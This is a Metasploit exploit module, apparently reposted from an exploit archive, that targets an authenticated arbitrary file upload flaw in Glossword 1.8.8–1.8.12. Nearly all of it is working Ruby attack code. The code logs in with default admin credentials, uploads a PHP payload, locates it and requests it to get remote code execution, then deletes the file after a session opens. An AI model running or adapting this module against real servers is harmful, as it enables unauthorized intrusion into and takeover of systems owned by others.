Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability

[Kwelwild]

Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
            'Description'    => %q{
                This module exploits a file upload vulnerability in Glossword
                versions 1.8.8 to 1.8.12 when run as a standalone application.
                This application has an upload feature that allows an authenticated user
                with administrator roles to upload arbitrary files to the 'gw_temp/a/'
                directory.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'AkaStep', # Discovery
                    'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
                ],
            'References'     =>
                [
                    [ 'EDB',  '24456' ],
                    [ 'OSVDB' '89960' ]
                ],
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [['Automatic Targeting', { 'auto' => true }]],
            'Privileged'     => true,
            'DisclosureDate' => "Feb 05 2013",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
                OptString.new('USERNAME',  [true, 'The username for Glossword', 'admin']),
                OptString.new('PASSWORD',  [true, 'The password for Glossword', 'admin'])
            ], self.class)
    end

    def check

        base  = target_uri.path
        peer  = "#{rhost}:#{rport}"
        user  = datastore['USERNAME']
        pass  = datastore['PASSWORD']

        # login
        print_status("#{peer} - Authenticating as user '#{user}'")
        begin
            res = login(base, user, pass)
            if res
                if res.code == 200
                    print_error("#{peer} - Authentication failed")
                    return Exploit::CheckCode::Unknown
                elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
                    print_good("#{peer} - Authenticated successfully")
                    return Exploit::CheckCode::Appears
                end
            end
            return Exploit::CheckCode::Safe
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("#{peer} - Connection failed")
        end
        return Exploit::CheckCode::Unknown

    end

    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            client.fs.file.rm("#{@fname}")
        else
            client.shell_command_token("rm #{@fname}")
        end
    end

    def upload(base, sid, fname, file)

        user = datastore['USERNAME']
        pass = datastore['PASSWORD']
        data = Rex::MIME::Message.new
        data.add_part(file,       'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
        data.add_part("edit-own", nil, nil, 'form-data; name="a"')
        data.add_part("users",    nil, nil, 'form-data; name="t"')
        data.add_part("Save",     nil, nil, 'form-data; name="post"')
        data.add_part("#{sid}",   nil, nil, 'form-data; name="sid"')
        data.add_part("#{user}",  nil, nil, 'form-data; name="arPost[login]"')
        data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_new]"')
        data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_confirm]"')

        data_post = data.to_s
        data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => normalize_uri(base, 'gw_admin.php'),
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'data'    => data_post,
        })

        return res
    end

    def login(base, user, pass)

        res   = send_request_cgi({
            'method' => 'POST',
            'uri'    => normalize_uri(base, 'gw_login.php'),
            'data'   => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
        })
        return res

    end

    def exploit

        base  = target_uri.path
        @peer = "#{rhost}:#{rport}"
        @fname= rand_text_alphanumeric(rand(10)+6) + '.php'
        user  = datastore['USERNAME']
        pass  = datastore['PASSWORD']

        # login; get session id and token
        print_status("#{@peer} - Authenticating as user '#{user}'")
        res = login(base, user, pass)
        if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
            token = "#{$1}"
            sid   = "#{$2}"
            print_good("#{@peer} - Authenticated successfully")
        else
            fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
        end

        # upload PHP payload
        print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
        php = %Q|<?php #{payload.encoded} ?>|
        begin
            res = upload(base, sid, @fname, php)
            if res and res.code == 301 and res['location'] =~ /Setting saved/
                print_good("#{@peer} - File uploaded successfully")
            else
                fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
            end
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
        end

        # retrieve PHP file path
        print_status("#{@peer} - Locating PHP payload file")
        begin
            res   = send_request_cgi({
                'method' => 'GET',
                'uri'    => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
                'cookie' => "sid#{token}=#{sid}"
            })
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
        end
        if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
            shell_uri = "#{$1}"
            @fname    = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
            print_good("#{@peer} - Found payload file path (#{shell_uri})")
        else
            fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
        end

        # retrieve and execute PHP payload
        print_status("#{@peer} - Executing payload (#{shell_uri})")
        begin
            send_request_cgi({
                'method' => 'GET',
                'uri'    => normalize_uri(base, shell_uri),
            })
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
        end
        if !res or res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
        end
    end
end

Surs?: Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability